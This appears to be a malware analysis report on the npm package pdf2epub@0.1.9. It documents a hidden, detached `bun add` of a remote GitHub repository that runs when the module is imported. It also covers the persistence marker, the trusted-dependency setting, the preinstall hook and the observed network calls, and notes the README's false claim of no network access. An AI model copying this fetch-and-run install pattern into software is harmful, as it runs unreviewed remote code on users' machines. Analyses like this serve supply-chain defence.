pdf2epub@0.1.9

Analysis

pdf2epub@0.1.9 is a PDF-to-EPUB converter that performs a hidden remote package install whenever its module is loaded. The main entry pdf2epub.js imports ./lab/setups.mjs and calls scheduleDemoInstall() at import time, so `import 'pdf2epub'` or running the CLI triggers it. That function locates the bun runtime via `command -v bun`, writes a once-per-machine marker at ~/.cache/pdf2epub/demo-installed, creates a temp directory containing a package.json with trustedDependencies: ["bun-install-helloworld-demo"], and spawns a detached, unref'd child: `bun add hxxps://github[.]com/daltsubnet/bun-install-helloworld-demo[.]git` with stdio ignored and the full process.env inherited, so the install continues after the importing process exits. The bundled lab/package.json also declares a preinstall hook running `node setups.mjs`. The fetched repository is publisher-controlled and mutable, so its contents (including install scripts) execute on every machine that imports the package. Observed network activity: DNS resolution of api[.]github[.]com and an HTTPS GET to /repos/daltsubnet/bun-install-helloworld-demo/tarball/ with User-Agent Bun/1.3.13. The README states that the package "makes no network requests of its own", so the fetch-and-install is undocumented; the only opt-out is the environment variable PDF2EPUB_SKIP_DEMO=1.